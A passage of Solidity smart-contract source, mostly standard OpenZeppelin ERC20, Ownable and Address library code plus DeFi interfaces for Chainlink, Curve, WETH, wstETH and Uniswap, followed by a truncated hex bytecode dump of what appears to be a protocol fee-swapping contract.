Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.11; interface IFeeDistributor{ function burn(address coin, uint256 amount) external returns (bool); } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.7.2; pragma experimental ABIEncoderV2; interface IChainlink { function decimals() external view returns (uint8); function latestAnswer() external view returns (int256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IWETH { function deposit() external payable; function balanceOf(address account) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IWSTETH { function unwrap(uint256 _amount) external returns (uint256); function getStETHByWstETH(uint256 _wstETHAmount) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface ICRV { // https://github.com/curvefi/curve-contract/blob/ // b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pools/steth/StableSwapSTETH.vy#L431 function exchange( int128 _indexIn, int128 _indexOut, uint256 _amountIn, uint256 _minAmountOut ) external payable returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IYVUSDC { function withdraw(uint256 maxShares) external returns (uint256); function pricePerShare() external view returns (uint256); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity ^0.8.0; /// @title Router token swapping functionality /// @notice Functions for swapping tokens via Uniswap V3 interface ISwapRouter { struct ExactInputParams { bytes path; address recipient; uint256 amountIn; uint256 amountOutMinimum; } /// @notice Swaps `amountIn` of one token for as much as possible of another along the specified path /// @param params The parameters necessary for the multi-hop swap, encoded as `ExactInputParams` in calldata /// @return amountOut The amount of the received token function exactInput(ExactInputParams calldata params) external payable returns (uint256 amountOut); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.6.0; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; library TransferHelper { /// @notice Transfers tokens from the targeted address to the given destination /// @notice Errors with 'STF' if transfer fails /// @param token The contract address of the token to be transferred /// @param from The originating address from which the tokens will be transferred /// @param to The destination address of the transfer /// @param value The amount to be transferred function safeTransferFrom( address token, address from, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.transferFrom.selector, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'STF'); } /// @notice Transfers tokens from msg.sender to a recipient /// @dev Errors with ST if transfer fails /// @param token The contract address of the token which will be transferred /// @param to The recipient of the transfer /// @param value The value of the transfer function safeTransfer( address token, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.transfer.selector, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'ST'); } /// @notice Approves the stipulated contract to spend the given allowance in the given token /// @dev Errors with 'SA' if transfer fails /// @param token The contract address of the token to be approved /// @param to The target of the approval /// @param value The amount of the given token the target will be allowed to spend function safeApprove( address token, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.approve.selector, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'SA'); } /// @notice Transfers ETH to the recipient address /// @dev Fails with `STE` /// @param to The destination of the transfer /// @param value The value to be transferred function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'STE'); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
0x6080604052600436106102025760003560e01c806389a302711161011d578063ad5c4648116100b0578063ccfc2e8d1161007f578063d9fb643a11610064578063d9fb643a146105fc578063e00bfe5014610624578063f2fde38b1461064c57600080fd5b8063ccfc2e8d146105bc578063cf35bdd0146105dc57600080fd5b8063ad5c464814610528578063addd509914610550578063b8e8513514610586578063c41d2874146105a657600080fd5b80639ce9a544116100ec5780639ce9a544146104a05780639d139062146104c0578063a494a39f146104e0578063aced16611461050857600080fd5b806389a30271146104255780638a196e861461044d5780638da5cb5b146104625780638e08e4d71461048057600080fd5b806337d20fff116101955780634f6e746d116101645780634f6e746d146103b257806361566aff146103da578063715018a6146103f0578063748747e61461040557600080fd5b806337d20fff1461033057806340066d971461035057806344bec2131461036557806345aadbc01461039257600080fd5b80630d9aeb74116101d15780630d9aeb74146102b057806329687dd2146102d057806329dba390146102f0578063353331351461031057600080fd5b80630296b9d11461020e57806307e56395146102415780630c335dc7146102635780630d43e8ad1461027857600080fd5b3661020957005b600080fd5b34801561021a57600080fd5b5061022e610229366004612c5e565b61066c565b6040519081526020015b60405180910390f35b34801561024d57600080fd5b5061026161025c366004612c5e565b61072c565b005b34801561026f57600080fd5b5061022e61084e565b34801561028457600080fd5b50600454610298906001600160a01b031681565b6040516001600160a01b039091168152602001610238565b3480156102bc57600080fd5b5061022e6102cb366004612cc5565b610863565b3480156102dc57600080fd5b5061022e6102eb366004612c5e565b610bf8565b3480156102fc57600080fd5b5061026161030b366004612c5e565b610c63565b34801561031c57600080fd5b5061026161032b366004612d07565b610d79565b34801561033c57600080fd5b5061026161034b366004612c5e565b610e5a565b34801561035c57600080fd5b5061022e610f16565b34801561037157600080fd5b50610385610380366004612c5e565b610f34565b6040516102389190612d96565b34801561039e57600080fd5b50600154610298906001600160a01b031681565b3480156103be57600080fd5b5061029873dc24316b9ae028f1497c275eb9192a3ea0f6702281565b3480156103e657600080fd5b5061022e60055481565b3480156103fc57600080fd5b50610261610fce565b34801561041157600080fd5b50610261610420366004612c5e565b611034565b34801561043157600080fd5b5061029873a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4881565b34801561045957600080fd5b5061026161114a565b34801561046e57600080fd5b506000546001600160a01b0316610298565b34801561048c57600080fd5b5061026161049b366004612da9565b6111f8565b3480156104ac57600080fd5b50600354610298906001600160a01b031681565b3480156104cc57600080fd5b50600254610298906001600160a01b031681565b3480156104ec57600080fd5b506102987368b3465833fb72a70ecdf485e0e4c7bd8665fc4581565b34801561051457600080fd5b50600954610298906001600160a01b031681565b34801561053457600080fd5b5061029873c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b34801561055c57600080fd5b5061029861056b366004612c5e565b6007602052600090815260409020546001600160a01b031681565b34801561059257600080fd5b506102616105a1366004612c5e565b6117ff565b3480156105b257600080fd5b5061022e61271081565b3480156105c857600080fd5b506102616105d7366004612c5e565b611915565b3480156105e857600080fd5b506102986105f7366004612d07565b611a2b565b34801561060857600080fd5b50610298737f39c581f595b53c5cb19bd0b3f8da6c935e2ca081565b34801561063057600080fd5b5061029873ae7ab96520de3a18e5e111b5eaab095312d7fe8481565b34801561065857600080fd5b50610261610667366004612c5e565b611a55565b600554600090816001600160a01b03841615610709576040517f70a082310000000000000000000000000000000000000000000000000000000081523060048201526001600160a01b038516906370a08231906024015b602060405180830381865afa1580156106e0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107049190612e3a565b61070b565b475b905061271061071a8383612e82565b6107249190612ebf565b949350505050565b6000546001600160a01b0316331461078b5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6001600160a01b0381166107e15760405162461bcd60e51b815260206004820152601a60248201527f215f70726f746f636f6c526576656e7565526563697069656e740000000000006044820152606401610782565b600380547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0383169081179091556040519081527f3d47dbcdacad44d207d56d2a7970b180937a639777c330d01e64edd6174f83e8906020015b60405180910390a150565b60055460009061085d81611b34565b91505090565b6009546000906001600160a01b031633146108c05760405162461bcd60e51b815260206004820152600760248201527f216b6565706572000000000000000000000000000000000000000000000000006044820152606401610782565b6002546001600160a01b031673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2141561095157600260009054906101000a90046001600160a01b03166001600160a01b031663d0e30db0476040518263ffffffff1660e01b81526004016000604051808303818588803b15801561093757600080fd5b505af115801561094b573d6000803e3d6000fd5b50505050505b60085460005b81811015610ab65760006008828154811061097457610974612efa565b60009182526020822001546040517f70a082310000000000000000000000000000000000000000000000000000000081523060048201526001600160a01b03909116925082906370a0823190602401602060405180830381865afa1580156109e0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a049190612e3a565b905080610a12575050610aa4565b6000612710600554612710610a279190612f29565b610a319084612e82565b610a3b9190612ebf565b6002549091506001600160a01b03848116911614610a86576000610a5f8284612f29565b9050610a8484828b8b89818110610a7857610a78612efa565b90506020020135611fbe565b505b600354610aa0906001600160a01b0385811691168361241e565b5050505b80610aae81612f40565b915050610957565b506002546040517f70a082310000000000000000000000000000000000000000000000000000000081523060048201526001600160a01b03909116906370a0823190602401602060405180830381865afa158015610b18573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b3c9190612e3a565b600454600254919350610b5c916001600160a01b039081169116846124ea565b600480546002546040517f9dc29fac0000000000000000000000000000000000000000000000000000000081526001600160a01b0391821693810193909352602483018590521690639dc29fac906044016020604051808303816000875af1158015610bcc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bf09190612f79565b505092915050565b600080600554612710610c0b9190612f29565b905060006001600160a01b03841615610709576040517f70a082310000000000000000000000000000000000000000000000000000000081523060048201526001600160a01b038516906370a08231906024016106c3565b6000546001600160a01b03163314610cbd5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610782565b6001600160a01b038116610d135760405162461bcd60e51b815260206004820152601360248201527f215f646973747269627574696f6e546f6b656e000000000000000000000000006044820152606401610782565b600280547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0383169081179091556040519081527fde880ddf56000cd5b733e9681b7126b537a4c166a168e0976e1f5f9ebb788fe290602001610843565b6000546001600160a01b03163314610dd35760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610782565b612710811115610e255760405162461bcd60e51b815260206004820152601c60248201527f215f706374416c6c6f636174696f6e466f7252424e4c6f636b657273000000006044820152606401610782565b60058190556040518181527fc548191a740509e5336a4278fa23e8990ca297e75806c54c1e454217d2570cf290602001610843565b6000546001600160a01b03163314610eb45760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610782565b6001600160a01b038116610f0a5760405162461bcd60e51b815260206004820152600660248201527f21617373657400000000000000000000000000000000000000000000000000006044820152606401610782565b610f1381612638565b50565b600080600554612710610f299190612f29565b905061085d81611b34565b60066020526000908152604090208054610f4d90612f9b565b80601f0160208091040260200160405190810160405280929190818152602001828054610f7990612f9b565b8015610fc65780601f10610f9b57610100808354040283529160200191610fc6565b820191906000526020600020905b815481529060010190602001808311610fa957829003601f168201915b505050505081565b6000546001600160a01b031633146110285760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610782565b6110326000612789565b565b6000546001600160a01b0316331461108e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610782565b6001600160a01b0381166110e45760405162461bcd60e51b815260206004820152600860248201527f215f6b65657065720000000000000000000000000000000000000000000000006044820152606401610782565b600980547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0383169081179091556040519081527f8b67cf08b3b4a582cdf414f29895fde3e3f03a3bf26373a22a8b9bd89e75748890602001610843565b6000546001600160a01b031633146111a45760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610782565b60085460005b818110156111f4576111e2600882815481106111c8576111c8612efa565b6000918252602090912001546001600160a01b0316612638565b806111ec81612f40565b9150506111aa565b5050565b6000546001600160a01b031633146112525760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610782565b6001600160a01b0386166112a85760405162461bcd60e51b815260206004820152600760248201527f215f6173736574000000000000000000000000000000000000000000000000006044820152606401610782565b604080517f313ce5670000000000000000000000000000000000000000000000000000000081529051849183916001600160a01b0389169163313ce5679160048083019260209291908290030181865afa15801561130a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132e9190612fef565b60ff166008146113805760405162461bcd60e51b815260206004820152600a60248201527f2141535345542f555344000000000000000000000000000000000000000000006044820152606401610782565b600282106113d05760405162461bcd60e51b815260206004820152601960248201527f696e76616c696420696e7465726d6564696172792070617468000000000000006044820152606401610782565b6113db826001613012565b81146114295760405162461bcd60e51b815260206004820152601e60248201527f696e76616c696420706f6f6c2066656573206172726179206c656e67746800006044820152606401610782565b6001600160a01b03888116600090815260076020526040902054166114ac57600880546001810182556000919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b038a161790555b6001600160a01b03888116600090815260076020526040902080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169189169190911790558115611683576001546001600160a01b03898116911614156115285773a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4861152a565b875b8484600081811061153d5761153d612efa565b9050602002016020810190611552919061302a565b8787600081811061156557611565612efa565b905060200201602081019061157a9190612c5e565b8686600181811061158d5761158d612efa565b90506020020160208101906115a2919061302a565b6002546040517fffffffffffffffffffffffffffffffffffffffff000000000000000000000000606096871b811660208301527fffffff000000000000000000000000000000000000000000000000000000000060e896871b8116603484015294871b811660378301529290941b909216604b840152921b909116604e820152606201604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529181526001600160a01b038a16600090815260066020908152919020825161167d93919290910190612ba9565b506117a3565b6001546001600160a01b03898116911614156116b35773a0b86991c6218b36c1d19d4a2e9eb0ce3606eb486116b5565b875b848460008181106116c8576116c8612efa565b90506020020160208101906116dd919061302a565b600254604051606093841b7fffffffffffffffffffffffffffffffffffffffff000000000000000000000000908116602083015260e89390931b7fffffff0000000000000000000000000000000000000000000000000000000000166034820152921b166037820152604b01604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529181526001600160a01b038a1660009081526006602090815291902082516117a193919290910190612ba9565b505b6001600160a01b0388166000908152600660205260409081902090517f6a118707108586e9f71308f090999646ac19ba11725e911ad95087db797b623c916117ed918b919061304f565b60405180910390a15050505050505050565b6000546001600160a01b031633146118595760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610782565b6001600160a01b0381166118af5760405162461bcd60e51b815260206004820152600860248201527f215f7976555344430000000000000000000000000000000000000000000000006044820152606401610782565b600180547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0383169081179091556040519081527fb2e6feb35c27578590c9acc6cf563e6c07d5b80a506f3ed779496351dae5f08c90602001610843565b6000546001600160a01b0316331461196f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610782565b6001600160a01b0381166119c55760405162461bcd60e51b815260206004820152601060248201527f215f6665654469737472696275746f72000000000000000000000000000000006044820152606401610782565b600480547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0383169081179091556040519081527f0b2f38d4d51572dddd42a52a5a9e4e4e9b7ee83f48cbbd90b2fd209dd58c9abb90602001610843565b60088181548110611a3b57600080fd5b6000918252602090912001546001600160a01b0316905081565b6000546001600160a01b03163314611aaf5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610782565b6001600160a01b038116611b2b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610782565b610f1381612789565b600854600090815b81811015611fb75760006007600060088481548110611b5d57611b5d612efa565b60009182526020808320909101546001600160a01b0390811684529083019390935260409091018120546008805491909316935090919084908110611ba457611ba4612efa565b60009182526020822001546040517f70a082310000000000000000000000000000000000000000000000000000000081523060048201526001600160a01b03909116925082906370a0823190602401602060405180830381865afa158015611c10573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c349190612e3a565b9050737f39c581f595b53c5cb19bd0b3f8da6c935e2ca06001600160a01b031660088581548110611c6757611c67612efa565b6000918252602090912001546001600160a01b03161415611d2b5760088481548110611c9557611c95612efa565b6000918252602090912001546040517fbb2952fc000000000000000000000000000000000000000000000000000000008152600481018390526001600160a01b039091169063bb2952fc90602401602060405180830381865afa158015611d00573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d249190612e3a565b9050611e22565b600154600880546001600160a01b039092169186908110611d4e57611d4e612efa565b6000918252602090912001546001600160a01b03161415611e2257620f424060088581548110611d8057611d80612efa565b60009182526020918290200154604080517f99530b0600000000000000000000000000000000000000000000000000000000815290516001600160a01b03909216926399530b06926004808401938290030181865afa158015611de7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e0b9190612e3a565b611e159083612e82565b611e1f9190612ebf565b90505b6000826001600160a01b031663313ce5676040518163ffffffff1660e01b8152600401602060405180830381865afa158015611e62573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e869190612fef565b611e91906012613140565b611e9c90600a613285565b611ea69083612e82565b905073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031660088681548110611ed957611ed9612efa565b6000918252602090912001546001600160a01b03161415611f0157611efe4782613012565b90505b6127106305f5e10089866001600160a01b03166350d25bcd6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f48573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f6c9190612e3a565b611f769085612e82565b611f809190612e82565b611f8a9190612ebf565b611f949190612ebf565b611f9e9088613012565b9650505050508080611faf90612f40565b915050611b3c565b5050919050565b6001600160a01b038316737f39c581f595b53c5cb19bd0b3f8da6c935e2ca014156121b3576040517fde0e9a3e000000000000000000000000000000000000000000000000000000008152600481018390526000906001600160a01b0385169063de0e9a3e906024016020604051808303816000875af1158015612046573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061206a9190612e3a565b905061209f73ae7ab96520de3a18e5e111b5eaab095312d7fe8473dc24316b9ae028f1497c275eb9192a3ea0f67022836127f1565b6040517f3df021240000000000000000000000000000000000000000000000000000000081526001600482015260006024820152604481018290526064810183905273dc24316b9ae028f1497c275eb9192a3ea0f6702290633df02124906084016020604051808303816000875af115801561211f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121439190612e3a565b50600260009054906101000a90046001600160a01b03166001600160a01b031663d0e30db0476040518263ffffffff1660e01b81526004016000604051808303818588803b15801561219457600080fd5b505af1